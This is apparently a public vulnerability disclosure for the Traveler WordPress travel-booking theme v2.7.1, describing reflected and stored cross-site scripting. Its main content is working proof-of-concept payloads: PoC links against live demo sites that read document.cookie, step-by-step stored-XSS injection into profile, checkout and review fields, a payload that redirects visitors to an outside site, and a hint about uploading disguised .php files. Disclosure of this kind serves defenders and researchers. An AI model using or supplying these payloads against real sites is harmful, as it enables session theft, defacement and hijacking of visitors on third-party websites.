[*] :: Title: Traveler - Travel Booking WordPress Theme v2.7.1 Reflected & Stored XSS Injections [*] :: Author: QUIXSS [*] :: Date: 2019-05-05 [*] :: Software: Traveler - Travel Booking WordPress Theme v2.7.1 [?] :: Technical Details & Description: # Weak security measures like bad input & textarea fields data filtering has been discovered in the «Traveler - Travel Booking WordPress Theme». Current version of this WordPress premium theme is 2.7.1. [?] :: Demo Website: # https://themeforest.net/item/traveler-traveltourbooking-wordpress-theme/10822683 # Frontend #1: https://carmap.travelerwp.com/ # Backend #1: https://carmap.travelerwp.com/page-user-setting/ # Frontend #2: https://remap.travelerwp.com/ # Backend #2: https://remap.travelerwp.com/page-user-setting/ [!] :: Special Note: # 5.869 Sales # «Change Avatar» upload field works really strange. F.e., u can upload any .PHP file with extension .php.png and break profile page (Server will respond with Error #500). Another possible issue is Null Byte Injection in PHP, but on the demo website any access to uploaded file will be blocked by CloudFlare. # On the «Google Chrome» browser reflected XSS isn't work cause of built-in browser security measures, better use «Mozilla» or «Opera» instead. [!] :: For developers: # Disabling any data changes on a demo websites doesn't make your applications more secure. It's good for business and sales but you are simply double-crossing your clients. [+] :: PoC [Links]: # https://carmap.travelerwp.com/page-user-setting/ # https://remap.travelerwp.com/page-user-setting/ # https://remap.travelerwp.com/st_rental/midtown-manhattan-oversized/ # https://remap.travelerwp.com/?s=%22%3E%3Cimg%20src=x%20onerror=alert(document.cookie)%3E # https://remap.travelerwp.com/?s="><img src=x onerror=alert(`QUIXSS`)> # https://remap.travelerwp.com/?s=%22%3E%3Cinput%20type=text%20autofocus%20onfocus=alert(document.cookie)%3E [+] :: PoC [Reflected XSS Injection]: # For Reflected XSS Injection use default WordPress search on the demo website https://remap.travelerwp.com/?s=[payload] # Sample payload #1: "><img src=x onerror=alert(document.cookie)> # Sample payload #2: <input type=text autofocus onfocus=alert(document.cookie)> [+] :: PoC [Stored XSS Injection]: # Go to the demo website https://carmap.travelerwp.com and register a new account (there is no validation or activation process) and then log in to your account. Go to https://carmap.travelerwp.com/page-user-setting/ page next. All input fields except «Username» and «E-mail» can be used for Stored XSS Injections, for test u can use any payload started from "> just to «close» input field and </textarea> to «close» the text box. Save the data and your payload(s) will be successfully injected. # Same logic works for any other theme options: «Checkout» page https://remap.travelerwp.com/checkout/ with multiple vulnerable input fields, «Write Review» page https://remap.travelerwp.com/page-user-setting/?sc=write_review&item_id=1084 etc. etc. # Sample payload #1: "><script>alert('QUIXSS')</script> # Sample payload #2: </textarea><img src="x" onerror="window.location.replace('https://twitter.com/quixss');">